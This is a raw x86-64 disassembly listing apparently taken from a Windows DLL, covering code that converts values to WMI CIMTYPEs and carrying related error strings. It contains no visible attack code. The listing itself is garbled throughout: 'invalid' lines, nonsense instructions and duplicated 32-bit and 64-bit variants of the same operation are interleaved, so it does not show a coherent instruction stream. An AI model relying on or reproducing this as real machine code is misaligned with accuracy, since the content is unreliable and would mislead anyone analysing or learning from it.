and byte [rax], al
lea rax, [0x180063378]
lea eax, [0x180063378]
add eax, 0xffffea20
and dl, ch
invalid
invalid
mov qword [rcx + 8], rax
mov qword [rdi + 0x10], rcx
mov dword [rdi + 0x10], ecx
or byte [r8 - 0x77], cl
adc byte [r9 + r9*4 + 0x7f], r9b
adc byte [rcx + rcx*4 + 0x7f], cl
mov dword [rdi + 0x10], ecx
adc byte [rcx + rcx*4 + 0x7f], cl
mov qword [rdi + 0x18], r15
jg 0x18006497c
sbb byte [rbp + rcx*4 - 0x4c], cl
and al, 0x60
add al, byte [rax]
add byte [rax], al
mov rcx, r14
lea r14, [rsp + 0x260]
lea esi, [rsp + 0x260]
add byte [rax], al
mov rcx, r14
int1
mov rdx, rdi
cli
call fcn.18006634f
sbb dword [rax], eax
add byte [rcx + 0xf], al
add byte [rax], al
movups xmm0, xmmword [r14]
adc byte [rsi], al
invalid
movups xmmword [rdi + 7], xmm0
adc dword [rdi + 7], eax
mov rax, qword [r14 + 0x10]
mov qword [rdi + 0x17], rax
invalid
invalid
mov byte [rsi + 8], 6
or byte [rsi], r8b
invalid
movups xmm0, xmmword [rdi]
invalid
invalid
invalid
invalid
mov rax, qword [rdi + 0xf]
mov rcx, qword [rdi + 0x17]
movups xmmword [rsi + 9], xmm0
invalid
mov qword [rsi + 0x18], rax
mov qword [rsi + 0x20], rcx
mov dword [rsi + 0x20], ecx
mov dword [rsi + 0x20], ecx
mov qword [rsi], r15
jmp case.0x1800642bc.268
invalid
notrack jmp case.0x1800642bc.268
lea rax, [rsp + 0x3c]
cmp al, 0x48
lea ecx, [rsp + 0x90]
lea rcx, [rsp + 0x90]
mov qword [rcx], rax
lea rax, str.A_unknown_Variant_cannot_be_turned_into_a_CIMTYPE
lea rdi, [rsp + 0x40]
invalid
mov qword [rdi], rax
mov qword [rdi], rax
mov r12d, 1
mov qword [rdi + 8], r12
and qword [rdi + 0x20], 0
and byte [rax], al
and byte [rax], al
lea rax, [0x180063378]
mov qword [rcx + 8], rax
or byte [rax - 0x77], cl
adc byte [r9 + r9*4 + 0x67], r9b
sbb byte [rbp + rcx*4 - 0x4c], cl
and al, 0x78
add al, byte [rax]
add byte [rcx + rcx*4 - 0xf], cl
int1
dec dword [rax - 0x77]
or byte [r8 - 0x77], cl
or byte [rax - 0x77], cl
or byte [rax - 0x77], cl
adc byte [r9 + r9*4 + 0x67], r9b
adc byte [rcx + rcx*4 + 0x67], cl
sbb byte [rbp + rcx*4 - 0x4c], cl
and al, 0x78
add al, byte [rax]
add byte [rcx + rcx*4 - 0xf], cl
int1
int1
mov rdx, rdi
call fcn.18006634f
movups xmm0, xmmword [r14]
push rcx
sbb dword [rax], eax
add byte [rcx + 0xf], al
movups xmm0, xmmword [r14]
movups xmmword [rdi + 7], xmm0
mov rax, qword [r14 + 0x10]
mov qword [rdi + 0x17], rax
mov byte [rsi + 8], 6
movups xmm0, xmmword [rdi]
mov rax, qword [rdi + 0xf]
mov eax, dword [rdi + 0xf]
invalid
invalid
mov eax, dword [rdi + 0xf]
mov rcx, qword [rdi + 0x17]
movups xmmword [rsi + 9], xmm0
invalid
or dword [rax - 0x77], ecx
sbb byte [rax - 0x77], r9b
and byte [rcx + r9*4 + 0x26], r9b
and byte [rcx + rcx*4 + 0x26], cl
mov qword [rsi + 0x18], rax
mov qword [rsi + 0x20], rcx
invalid
and byte [rcx + rcx*4 + 0x26], cl
mov qword [rsi], r12
jmp case.0x1800477d8.546
mov rax, qword [rsp + 0xf8]
mov eax, dword [rsp + 0xf8]
mov qword [rsp + 0x48], rax
mov byte [rsp + 0x140], 0x11
add byte [rax], al
adc ebx, ebp
add eax, 0x247c894c
invalid
invalid
jl 0x180064a70
jmp 0x180064a4d
mov qword [rsp + 0x48], r15
jl 0x180064a70
lea rcx, [rsp + 0x140]
lea rcx, [rsp + 0x140]
and al, 0x40
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rax], al
add al, ch
call fcn.18006429b
jmp 0x180064a79
invalid
clc
invalid
sbb eax, 0x247c894c
mov qword [rsp + 0x48], r15
jl 0x180064a84
movups xmm0, xmmword [rbp]
movups xmm0, xmmword [rbp]
movups xmm1, xmmword [rbp + 0x10]
adc byte [rbp + 0x10], cl
adc byte [r15], r9b
sub dword [rsp + 0xd0], eax
test byte [rax + rdx*8], ah
add byte [rax], al
invalid
movaps xmmword [rsp + 0xd0], xmm0
test byte [rax + rdx*8], ah
and al, 0xd0
add byte [rax], al
add byte [rdi], cl
movaps xmmword [rsp + 0xe0], xmm1
sub dword [rsp + 0xe0], ecx
add byte [rax], al
add byte [rax], al
add byte [rbx + rcx*4 + 0x74], cl
and al, 0x30
mov r14, qword [rsp + 0x30]
mov esi, dword [rsp + 0x30]
je 0x180064aa1
xor byte [rbp + 0x29], cl
cmc
sub r13, r14
shr r13, 5
lea rdi, [rsp + 0x40]
and al, 0x40
in eax, dx
add eax, 0x247c8d48
lea edi, [rsp + 0x40]
and al, 0x40
mov rcx, rdi
mov rcx, rdi
call fcn.1800666ed
pop rbx
sbb al, 0
add byte [rax - 0x75], cl
and al, 0x28
mov rax, qword [rsp + 0x28]
mov eax, dword [rsp + 0x28]
mov qword [rsp + 0x128], rax
mov dword [rsp + 0x128], eax
test byte [rax + rbp], ah
add dword [rax], eax
add byte [rcx + rcx*4 - 0x4c], cl
invalid
invalid
invalid
mov qword [rsp + 0x130], r14
mov ah, 0x24
and al, 0x30
xor byte [rcx], al
add byte [rax], al
add dword [rax], eax
add byte [rcx + rcx*4 - 0x54], cl
and al, 0x38
add dword [rax], eax
mov qword [rsp + 0x138], r13
mov rcx, rdi
add byte [rax - 0x77], cl
stc
call fcn.18006673e
mov dil, byte [rsp + 0xd0]
rol byte [rax], 1
add byte [rax], al
mov esp, 0xd024
add byte [rax], al
add byte [rax], al
add byte [rax - 0x80], al
call qword [rdx]
cmp dil, 0x12
jne 0x180064ad7
mov r14b, 0xe
mov rdi, qword [rsp + 0x28]
mov rbx, qword [rsp + 0x30]
jl 0x180064af0
sub byte [rax - 0x75], cl
pop rsp
and al, 0x30
jmp 0x180066136
mov eax, dword [rsp + 0xd1]
test byte [rcx + rdx*8], ah
and al, 0xd1
rol dword [rax], 1
add byte [rax], al
add byte [rax], al
add byte [rbx + 0xd4248c], cl
invalid
mov word [rsp + rdx*8], fs
invalid
mov ecx, dword [rsp + 0xd4]
add byte [rax], al
mov dword [rsp + 0xbb], ecx
mov ebx, 0x89000000
test byte [rax + rdi*4], ah
mov dword [rsp + 0xb8], eax
add byte [rax], al
add byte [rdi], cl
movups xmm6, xmmword [rsp + 0xd8]
movups xmm6, xmmword [rsp + 0xd8]
and al, 0xd8
add byte [rax], al
add byte [rbx + rcx*4 - 0x4c], cl
mov r14, qword [rsp + 0xe8]
and al, 0xe8
add byte [rax], al
add byte [rax], al
invalid
invalid
add byte [rax], al
lea rcx, [rsp + 0x128]
lea ecx, [rsp + 0x128]
mov word [rax + rbp], fs
add dword [rax], eax
invalid
sub byte [rcx], al
add byte [rax], al
add al, ch
jmp 0x10c064b08
invalid
invalid
call case.0x180046f5f.345
mov eax, dword [rsp + 0xb8]
test byte [rax + rdi*4], ah
add byte [rax], al
invalid
invalid
dec dword [rbx + 0xb82484]
test byte [rax + rdi*4], ah
add byte [rax], al
add byte [rbx + 0xbb248c], cl
invalid
add byte [rax], al
invalid
add byte [rax], al
mov ecx, dword [rsp + 0xbb]
mov ebx, 0x89000000
mov dword [rsp + 0xc0], eax
test byte [rax + rax*8], ah
and al, 0xc0
add byte [rax], al
add byte [rcx + 0xc3248c], cl
mov dword [rsp + 0xc3], ecx
add byte [rax], al
mov byte [rsi + 8], dil
mov byte [rsi + 8], bh
or byte [rbx + 0xc02484], cl
mov eax, dword [rsp + 0xc0]
add byte [rax], al
add byte [rbx + 0xc3248c], cl
ret
invalid
add byte [rax], al
mov ecx, dword [rsp + 0xc3]
ret
add byte [rax], al
add byte [rcx + 0x4e890946], cl
mov dword [rsi + 9], eax
mov dword [rsi + 0xc], ecx
invalid
add byte [rax], al
mov dword [rsi + 9], eax
or dword [rcx + 0x110f0c4e], r9d
jbe 0x180064b58
mov dword [rsi + 0xc], ecx
movups xmmword [rsi + 0x10], xmm6
adc dword [rsi + 0x10], esi
mov qword [rsi + 0x20], r14
jbe case.0x18004d727.325
and byte [rax - 0x39], cl
invalid
mov qword [rsi], 1
add dword [rax], eax
add byte [rax], al
mov al, 1
xor edx, edx
mov cl, 1
jmp 0x1800661ce
jo case.0x18004c0d7.164
add byte [rax], al
sal byte [rcx + 0x1670e901], cl
add ecx, ebp
jo case.0x18004c0d7.164
invalid
add byte [rax], al
add byte [rcx - 0x13e2173f], cl
invalid
mov ecx, eax
call fcn.180063782
mov rcx, rdi
mov ecx, edi
mov rdi, rax
mov ebp, edx
invalid
test rcx, rcx
je 0x180064b78
invalid
mov rax, qword [rcx]
call qword [rax + 0x10]
lea r12, [rsp + 0x40]
lea esp, [rsp + 0x40]
and al, 0x40
mov rcx, r12
mov rdx, rdi
cli
cli
mov r8d, ebp
call fcn.1800666d6
mov al, byte [r12]
and al, 0x41
mov ecx, dword [rsp + 1]
and al, 0x41
mov ecx, dword [rsp + 1]
mov dword [rsp + 0x70], ecx
and al, 0x70
mov ecx, dword [r12 + 4]
mov dword [rsp + 0x73], ecx
and al, 0x73
jae 0x180064beb
mov rdi, qword [r12 + 8]
mov edi, dword [rsp + 8]
or byte [rcx + 0xf], al
adc byte [rsp + 0x10], al
and al, 0x10
movups xmm0, xmmword [r12 + 0x10]
and al, 0x10
movaps xmmword [rsp + 0x90], xmm0
add byte [rax], al
add byte [rdx + rdx], bh
add byte [rax], al
cmp al, 0x12
jne 0x180064c04
mov rax, qword [r15]
mov rax, qword [r15]
mov rcx, r15
call qword [rax + 0x10]
mov r14b, 0x10
jmp 0x180066136
adc eax, 0xb6410000
add byte [rax], al
add byte [rcx - 0x4a], al
mov r14b, 3
jmp 0x180064bdb
add ebp, ebx
or eax, 0xeb05b641
invalid
mov r14b, 5
jmp case.0x18004b336.316
mov r14b, 0xd
mov dh, 0xd
jmp 0x180064bfc
mov r14b, 0xa
mov r12d, r8d
jmp 0x1800657cc
invalid
mov r14b, 0xb
mov dh, 0xb
or eax, dword [rcx + rcx*4 - 0x3b]
mov ebp, r8d
jmp 0x1800658f7
or dword [0x136474bf0], ecx
or eax, 0xb6410000
mov r14b, 0xc
or al, 0x45
mov r15d, r8d
mov edi, eax
jmp 0x1800658fc
mov r14b, 6
mov rdi, r8
jmp 0x180066136
invalid
invalid
add byte [rax], al
adc eax, 0x4c8b0000
mov ecx, dword [rsp + 0x70]
and al, 0x70
mov edx, dword [rsp + 0x73]
mov dword [rsp + 0xcb], edx
and al, 0xcb
add byte [rax], al
add byte [rax], al
xchg esp, eax
and al, 0xcb
add byte [rax], al
add byte [rax], al
mov dword [rsp + 0xc8], ecx
add byte [rax], al
mov dword [rsp + 0xc8], ecx
add byte [rax], al
add byte [rdi], cl
sub byte [rsp + 0x90], al
and al, 0x90
add byte [rax], al
invalid
movaps xmm0, xmmword [rsp + 0x90]
and al, 0x90
nop
add byte [rax], al
add byte [rdi], cl
movaps xmmword [rsp + 0x160], xmm0
sub dword [rsp + 0x160], eax
add byte [rax], al
add byte [rax - 0x7b74f7ba], cl
and al, 0xc8
add byte [rax], al
mov byte [rsi + 8], al
mov eax, dword [rsp + 0xc8]
mov ecx, dword [rsp + 0xcb]
add byte [rax], al
add byte [rbx + 0xcb248c], cl
add byte [rax], al
add byte [rax], al
add byte [rcx + 0x4e890946], cl
or al, 0x48
mov dword [rsi + 9], eax
mov dword [rsi + 0xc], ecx
or al, 0x48
mov dword [rsi + 0x10], edi
or al, 0x48
mov dword [rsi + 0x10], edi
jle 0x180064c55
movaps xmm0, xmmword [rsp + 0x160]
movups xmmword [rsi + 0x18], xmm0
adc dword [rsi + 0x18], eax
invalid
add byte [rdi], cl
adc dword [rsi + 0x18], eax
mov qword [rsi], 1
add byte [rax], al
add byte [rcx - 0x75], cl
invalid
invalid
mov rax, qword [r15]
mov rcx, r15
invalid
stc
call qword [rax + 0x10]
mov cl, 1
invalid
push rax
adc byte [rcx - 0x163fceff], dh
add dword [rcx], esi
invalid
invalid
add dword [rcx], esi
shr cl, 0x62
invalid
adc eax, 0x49f30000
add bl, dh
cvtpi2ps xmm0, mm0
xor eax, eax
jmp 0x1800661cc
invalid
invalid
add byte [rax], al
invalid
invalid
add bl, dh
cvtpi2ps xmm0, mm0
cvtsi2ss xmm0, r8
jmp case.0x180061add.134
int1
or al, byte [rax]
add byte [rbx - 0x7af09801], al
cmp edi, 0x67
jne case.0x180057991.359
rol byte [rdx], 1
add byte [rax], al
rol byte [rdx], 1
add al, byte [rax]
add byte [rax - 0x73], cl
add byte [rax], al
lea rdx, [rsp + 0x90]
xchg esp, eax
and al, 0x90
add byte [rax], al
add byte [rsi - 0x77], ah
sub cl, byte [rax - 0x73]
invalid
invalid
mov word [rdx], bp
lea rdi, [rsp + 0x40]
jl 0x180064cb0
and al, 0x40
mov r8d, 1
mov r8d, 1
mov eax, 1
add dword [rax], eax
add byte [rax], al
mov rcx, rdi
call fcn.18001f860
invalid
dec dword [rax - 0x75]
invalid
mov rdi, qword [rdi]
movabs rax, 0x8000000000000000
cmp rdi, rax
add byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rax + 0xfc73948], al
or byte [rax + 0x39], 0xc7
je case.0x18004d727.359
mov rbx, qword [rsp + 0x48]
add byte [rax], al
or byte [rax + 0x39], 0xc7
je case.0x18004d727.359
xchg ebx, eax
add al, byte [rax]
add byte [rax - 0x75], cl
pop rsp
and al, 0x48
mov rbx, qword [rsp + 0x48]
mov r13, qword [rsp + 0x50]
mov ebp, dword [rsp + 0x50]
mov r14b, 2
jmp case.0x18005ccfd.120
add byte [rax], al
add ch, cl
stosb byte [rdi], al
or dword [rax], eax
add byte [rax], al
cmp edi, 0x67
invalid
test edx, esp
invalid
add byte [rax], al
cmp edi, 0x67
jne case.0x180047e31.355
test edx, esp
add al, byte [rax]
invalid
jne case.0x180047e31.355
test edx, esp
add al, byte [rax]
add byte [rax - 0x73], cl
add byte [rax], al
lea rdx, [rsp + 0x90]
xchg esp, eax
and al, 0x90
add byte [rax], al
add byte [rsi - 0x77], ah
mov word [rdx], bp
invalid
invalid
jl case.0x18004bab9.297
mov word [rdx], bp
mov dword [rdx], ebp
lea rdi, [rsp + 0x40]
mov r8d, 1
mov r8d, 1
mov eax, 1
add byte [rax - 0x77], cl
stc
mov rcx, rdi
mov ecx, edi
call fcn.18001f860
mov rdi, qword [rdi]
mov edi, dword [rdi]
dec dword [rax - 0x75]
mov edi, dword [rdi]
invalid
movabs rax, 0x8000000000000000
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
or byte [rax + 0x39], 0xc7
cmp rdi, rax
invalid
add byte [rax], al
or byte [rax + 0x39], 0xc7
cmp rdi, rax
cmp rdi, rax
je case.0x18004d727.359
test byte [rdx + rax], al
add r8b, byte [rax]
add byte [rax - 0x75], cl
pop rsp
and al, 0x48
mov rbx, qword [rsp + 0x48]
mov r13, qword [rsp + 0x50]
mov r14b, 2
mov dh, 2
mov dh, 2
add ch, cl
invalid
jmp 0x180065929
add byte [rbx - 0x7af09801], al
cmp edi, 0x67
jne 0x18006500f
hlt
add al, byte [rax]
invalid
hlt
lea rdx, [rsp + 0x90]
xchg esp, eax
and al, 0x90
add byte [rax], al
add byte [rsi + 0x44], ah
mov word [rdx], r8w
mov word [rdx], r8w
lea rdi, [rsp + 0x40]
lea edi, [rsp + 0x40]
jl case.0x1800642bc.277
mov r8d, 1
mov r8d, 1
mov eax, 1
add dword [rax], eax
add byte [rax], al
invalid
add byte [rax - 0x77], cl
stc
mov rcx, rdi
mov ecx, edi
call fcn.18001f860
mov rdi, qword [rdi]
movabs rax, 0x8000000000000000
mov eax, 0
add byte [rax], al
invalid
or byte [rax + 0x39], 0xc7
invalid
dec dword [rax - 0x75]
invalid
mov eax, 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
or byte [rax + 0x39], 0xc7
invalid
add byte [rax], al
add byte [rax + 0xfc73948], al
test ah, dh
invalid
je case.0x18004d727.359
add dword [rax], eax
add byte [rax], al
add byte [rax - 0x75], cl
pop rsp
and al, 0x48
mov rbx, qword [rsp + 0x48]
mov ebx, dword [rsp + 0x48]
mov r13, qword [rsp + 0x50]
and al, 0x50
mov r14b, 2
mov dh, 2
add ch, cl
jmp 0x180065600
sahf
or byte [rax], al
add byte [rbx - 0x7af09801], al
cmp edi, 0x67
jne case.0x180061add.101
lea rdx, [rsp + 0x90]
cmp edi, 0x67
jne case.0x180061add.101
add eax, dword [rax]
add byte [rax - 0x73], cl
lea rdx, [rsp + 0x90]
xchg esp, eax
and al, 0x90
add byte [rax], al
add byte [rsi - 0x77], ah
mov dword [rdx], ebp
invalid
invalid
jl 0x180064d9e
invalid
add byte [rax], al
mov word [rdx], bp
mov dword [rdx], ebp
lea rdi, [rsp + 0x40]
and al, 0x40
mov r8d, 1
mov r8d, 1
add dword [rax], eax
add byte [rax], al
mov rcx, rdi
call fcn.18001f860
xlatb
stosb byte [rdi], al
sti
dec dword [rax - 0x75]
mov rdi, qword [rdi]
mov edi, dword [rdi]
invalid
movabs rax, 0x8000000000000000
cmp rdi, rax
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax + 0xfc73948], al
or byte [rax + 0x39], 0xc7
invalid
or byte [rax + 0x39], 0xc7
je case.0x18004d727.359
test byte [rbp + 0x48000001], ah
mov ebx, dword [rsp + 0x48]
add byte [rax - 0x75], cl
mov rbx, qword [rsp + 0x48]
pop rsp
and al, 0x48
mov r13, qword [rsp + 0x50]
mov r14b, 2
add ch, cl
int1
or al, byte [rax]
invalid
add ch, cl
int1
or al, byte [rax]
add byte [rbx - 0x7af09801], al
cmp edi, 0x67
invalid
test dword [rdi], edx
cmp edi, 0x67
jne case.0x1800642bc.352
test dword [rdi], edx
add eax, dword [rax]
add byte [rdi], cl
push rdi
leave
xorps xmm1, xmm1
maxss xmm1, xmm0
movss xmm0, dword [0x18006c8b8]
movups xmm0, xmmword [0x18006c8b8]
enter 0xff3, 0x10
add eax, 0x7aef
out dx, eax
jp 0x180064dc8
invalid
movups xmm0, xmmword [0x18006c8b8]
out dx, eax
jp 0x180064dc8
add bl, dh
minps xmm0, xmm1
minss xmm0, xmm1
cvttss2si eax, xmm0
cvttps2pi mm0, xmm0
shr cl, 0x3a
add dword [rax], eax
add byte [rbx - 0x7af09801], al
cmp edi, 0x67
invalid
invalid
push rbx
jmp 0x180064f10
cmp edi, 0x67
jne case.0x18006481f.4
add eax, dword [rax]
add byte [rax - 0x73], cl
lea rdx, [rsp + 0x90]
xchg esp, eax
and al, 0x90
add byte [rax], al
add byte [rax], al
invalid
invalid
add byte [rax], al
mov word [rdx], r15w
mov dword [rdx], edi
jmp case.0x18004bf91.231
jnp case.0x1800477d8.509
cmp edi, 0x67
jmp qword [rdi + 0x74]
je 0x180064e5c
push 0x48
lea eax, [rsp + 0x70]
lea rax, [rsp + 0x70]
lea rcx, [rsp + 0x90]
lea ecx, [rsp + 0x90]
mov word [rax + rdx*4], fs
and al, 0x90
add byte [rax], al
add byte [rax - 0x77], cl
add byte [rax], al
mov qword [rcx], rax
lea rax, [0x1800666b7]
scasb al, byte [rdi]
sbb byte [rax], al
invalid
add dword [rax - 0x73], ecx
add eax, 0x18ae
scasb al, byte [rdi]
sbb byte [rax], al
invalid
scasb al, byte [rdi]
sbb byte [rax], al
add byte [rax - 0x77], cl
or byte [r8 - 0x73], cl
lea rax, [rsp + 0x3c]
mov qword [rcx + 8], rax
lea rax, [rsp + 0x3c]
and al, 0x3c
mov qword [rcx + 0x10], rax
adc byte [rax - 0x73], cl
add eax, 0x1ca4b
retfq 1
lea rax, str.Value__cannot_be_turned_into_a_CIMTYPE
lea eax, [0x180081868]
retfq 1
lea rdx, [rsp + 0x40]
lea edx, [rsp + 0x40]
and al, 0x40
mov qword [rdx], rax
mov qword [rdx], rax
mov dword [rdx], eax
mov eax, 2
add al, byte [rax]
add byte [rax], al
add byte [rax - 0x77], cl
add byte [rax], al
mov qword [rdx + 8], rax
or byte [rax - 0x7d], cl
or byte [rax - 0x7d], cl
and qword [rdx + 0x20], 0
and dword [rdx + 0x20], 0
invalid
and byte [rax], al
lea r8, [0x180063378]
add eax, 0xffffe53e
in eax, 0xff
in eax, 0xff
dec dword [rcx + rcx*4 + 0x41]
sbb byte [rax - 0x77], cl
invalid
invalid
mov qword [rcx + 0x18], r8
mov dword [rcx + 0x18], eax
sbb byte [r8 - 0x77], cl
mov qword [rdx + 0x10], rcx
mov qword [rdx + 0x18], rax
lea rdi, [rsp + 0x248]
lea edi, [rsp + 0x248]
adc byte [rax - 0x77], cl
adc byte [rax - 0x77], cl
sbb byte [rax - 0x73], cl
mov esp, 0x24824
and al, 0x48
add al, byte [rax]
lea edi, [rsp + 0x248]
and al, 0x48
add al, byte [rax]
add al, byte [rax]
add cl, ch
pop rbx
jmp case.0x1800477d8.424
add al, 0
add byte [rbx - 0x7af09801], al
cmp edi, 0x67
invalid
invalid
add byte [rax], al
cmp edi, 0x67
jne case.0x18004bb8b.368
invalid
add eax, dword [rax]
invalid
test dword [rdi], esi
add eax, dword [rax]
add byte [rax - 0x73], cl
invalid
lea rdx, [rsp + 0x90]
mov word [rdx], r8w
mov dword [rdx], r8d
xchg esp, eax
and al, 0x90
nop
nop
add byte [rax], al
add byte [rsi + 0x44], ah
invalid
mov dword [rdx], r8d
mov dword [rdx], eax
add cl, byte [rax - 0x73]
jl case.0x1800642bc.367
lea rdi, [rsp + 0x40]
lea edi, [rsp + 0x40]
mov r8d, 1
mov r8d, 1
mov eax, 1
mov rcx, rdi
mov ecx, edi
call fcn.18001f860
mov rdi, qword [rdi]
mov edi, dword [rdi]
in eax, 0xa9
sti
dec dword [rax - 0x75]
invalid
mov edi, dword [rdi]
invalid
movabs rax, 0x8000000000000000
cmp rdi, rax
cmp edi, eax
add byte [rax], al
add byte [rax], al
add byte [rax + 0xfc73948], al
cmp edi, eax
je case.0x18004d727.359
invalid
je case.0x18004d727.359
mov bl, 0
add byte [rax], al
invalid
add byte [rax - 0x75], cl
pop rsp
mov rbx, qword [rsp + 0x48]
mov ebx, dword [rsp + 0x48]
and al, 0x48
mov r13, qword [rsp + 0x50]
mov r13, qword [rsp + 0x50]
mov r14b, 2
jmp 0x180065904
invalid
or al, byte [rax]
invalid
add ch, cl
invalid
or al, byte [rax]
add byte [rbx - 0x7af09801], al
cmp edi, 0x67
invalid
test dword [rax + 3], ecx
add eax, dword [rax]
cmp edi, 0x67
jne 0x1800651f4
add eax, dword [rax]
invalid
jmp qword [rdi + 0xf]
add eax, dword [rax]
add byte [rax - 0x73], cl
lea rdx, [rsp + 0x90]
lea edx, [rsp + 0x90]
xchg esp, eax
and al, 0x90
nop
nop
add byte [rax], al
add byte [rsi + 0x44], ah
mov dword [rdx], eax
mov word [rdx], r8w
lea rdi, [rsp + 0x40]
mov r8d, 1
mov eax, 1
mov r8d, 1
add byte [rax], al
add byte [rax - 0x77], cl
invalid
add byte [rax], al
mov rcx, rdi
mov ecx, edi
stc
call fcn.18001f860
mov rdi, qword [rdi]
mov edi, dword [rdi]
sti
dec dword [rax - 0x75]
invalid
invalid
movabs rax, 0x8000000000000000
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax + 0x74c73948], al
cmp rdi, rax
invalid
add byte [rax], al
add byte [rax], al
add byte [rax], al
or byte [rax + 0x39], 0xc7
cmp rdi, rax
cmp rdi, rax
je case.0x18004d727.359
mov rbx, qword [esp + 0x48]
mov rbx, qword [rsp + 0x48]
mov ebx, dword [rsp + 0x48]
and al, 0x48
mov r13, qword [rsp + 0x50]
mov ebp, dword [rsp + 0x50]
and al, 0x50
mov r14b, 2
mov dh, 2
add ch, cl
outsb dx, byte [rsi]
or dword [rax], eax
add byte [rax], al
cmp edi, 0x67
invalid
invalid
pop rdx
jmp 0x18006585d
add byte [rax], al
cmp edi, 0x67
jne case.0x1800648fd.4
add eax, dword [rax]
invalid
jne case.0x1800648fd.4
add eax, dword [rax]
add byte [rsi + 0xf], ah
invalid
invalid
add byte [rax], al
xorpd xmm1, xmm1
xorps xmm1, xmm1
push rdi
leave
maxsd xmm1, xmm0
maxps xmm1, xmm0
enter 0xff2, 0x10
add eax, 0x7958
pop rax
jns case.0x18004b662.497
invalid
movsd xmm0, qword [0x18006c860]
pop rax
jns case.0x18004b662.497
add dl, dh
minps xmm0, xmm1
pop rbp
invalid
minsd xmm0, xmm1
sal edx, 0xf
sub al, 0xc0
invalid
cvttsd2si eax, xmm0
cvttps2pi mm0, xmm0
ror byte [rax - 0x73], 0x94
lea rdx, [rsp + 0x90]
lea edx, [rsp + 0x90]
xchg esp, eax
and al, 0x90
nop
add byte [rax], al
add byte [rsi - 0x77], ah
mov word [rdx], ax
invalid
invalid
add byte [rax], al
mov word [rdx], ax
mov dword [rdx], eax
lea rdi, [rsp + 0x40]
jl 0x180064f43
and al, 0x40
mov r8d, 1
mov r8d, 1
add byte [rax - 0x77], cl
stc
mov rcx, rdi
call fcn.18001f860
test eax, 0x8b48fffb
dec dword [rax - 0x75]
mov rdi, qword [rdi]
invalid
movabs rax, 0x8000000000000000
mov eax, 0
add byte [rax], al
add byte [rax], al
add byte [rax + 0xfc73948], al
test dword [rax + 0xa], edx
invalid
or byte [rax + 0x39], 0xc7
cmp rdi, rax
jne 0x180065994
or al, byte [rax]
add byte [rax], al
add dh, al
mov byte [rsi + 8], 8
or byte [rax], r9b
jmp 0x1800652c9
add eax, dword [rax]
add byte [rax - 0x73], cl
lea rax, [rsp + 0x70]
add byte [rax], al
lea rax, [rsp + 0x70]
jo case.0x1800484d2.403
lea rcx, [rsp + 0x90]
lea ecx, [rsp + 0x90]
and al, 0x90
nop
add byte [rax], al
add byte [rax - 0x77], cl
add dword [rax - 0x73], ecx
lea eax, [0x180066681]
mov qword [rcx], rax
lea rax, [0x180066681]
lea eax, [0x180066681]
sbb eax, 0x48000017
invalid
mov qword [rcx + 8], rax
mov dword [rcx + 8], eax
or byte [rax - 0x73], cl
and al, 0x3c
lea rax, [rsp + 0x3c]
lea eax, [rsp + 0x3c]
mov qword [rcx + 0x10], rax
mov dword [rcx + 0x10], eax
adc byte [r8 - 0x73], cl
adc byte [rax - 0x73], cl
lea rax, str.Value__cannot_be_turned_into_a_CIMTYPE
add eax, 0x1c8f0
invalid
enter 1, 0x48
add dword [rax], eax
add byte [rax - 0x73], cl
lea rdx, [rsp + 0x40]
lea edx, [rsp + 0x40]
push rsp
and al, 0x40
invalid
mov qword [rdx], rax
mov qword [rdx], rax
mov eax, 2
add al, byte [rax]
add byte [rax], al
add byte [rax - 0x77], cl
or byte [rax - 0x7d], cl
or byte [rax - 0x7d], cl
add byte [rax], al
mov qword [rdx + 8], rax
or byte [rax - 0x7d], cl
and qword [rdx + 0x20], 0
and dword [rdx + 0x20], 0
invalid
and byte [rax], al
add byte [rbp + rcx*4 + 5], cl
lea r8, [0x180063378]
add eax, 0xffffe3e3
jrcxz case.0x180047745.369
jrcxz case.0x180047e31.499
invalid
dec dword [rcx + rcx*4 + 0x41]
sbb byte [rax - 0x77], cl
invalid
invalid
mov qword [rcx + 0x18], r8
mov qword [rdx + 0x10], rcx
mov dword [rdx + 0x10], ecx
adc byte [rax - 0x77], cl
adc byte [rax - 0x77], cl
mov qword [rdx + 0x18], rax
lea rdi, [rsp + 0x218]
sbb byte [rdx], al
add byte [rax], al
sbb byte [rax - 0x73], cl
mov esp, 0x21824
sbb byte [rdx], al
add byte [rax], al
invalid
lea edi, [rsp + 0x218]
sbb byte [rdx], al
add byte [rax], al
jmp case.0x1800477d8.424
add byte [rbx], al
add byte [rax], al
invalid
add byte [rax - 0x73], cl
lea rax, [rsp + 0x70]
and al, 0x70
and al, 0x70
jo 0x180064ffc
lea rcx, [rsp + 0x90]
lea ecx, [rsp + 0x90]
mov word [rax + rdx*4], fs
add byte [rax], al
add byte [rax], al
invalid
invalid
add byte [rax], al
mov qword [rcx], rax
mov dword [rcx], eax
add dword [rax - 0x73], ecx
lea rax, [0x1800663fa]
add eax, 0x1435
xor eax, 0x48000014
mov qword [rcx + 8], rax
mov dword [rcx + 8], eax
lea rax, [rsp + 0x3c]
and al, 0x3c
cmp al, 0x48
mov dword [rcx + 0x10], eax
invalid
invalid
mov qword [rcx + 0x10], rax
adc byte [r8 - 0x73], cl
adc byte [rax - 0x73], cl
lea rax, str.Value__cannot_be_turned_into_a_CIMTYPE
add eax, 0x1c88f
invalid
add dword [rax], eax
lea rdx, [rsp + 0x40]
and al, 0x40
mov qword [rdx], rax
mov qword [rdx], rax
mov dword [rdx], eax
mov eax, 2
add byte [rax - 0x77], cl
mov qword [rdx + 8], rax
and qword [rdx + 0x20], 0
and dword [rdx + 0x20], 0
or byte [rax - 0x7d], cl
or byte [rax - 0x7d], cl
invalid
and byte [rax], al
lea r8, [0x180063378]
add eax, 0xffffe382
invalid
invalid
dec dword [rcx + rcx*4 + 0x41]
mov qword [rcx + 0x18], r8
sbb byte [r8 - 0x77], cl
sbb byte [rax - 0x77], cl
mov qword [rdx + 0x10], rcx
mov qword [rdx + 0x18], rax
sbb byte [rax - 0x73], cl
mov esp, 0x18824
invalid
adc byte [rax - 0x77], cl
sbb byte [rax - 0x73], cl
sbb byte [rax - 0x73], cl
mov esp, 0x18824
and al, 0x88
add dword [rax], eax
mov byte [rcx], al
add byte [rax], al
invalid
add cl, ch
jmp case.0x1800477d8.424
lahf
add al, byte [rax]
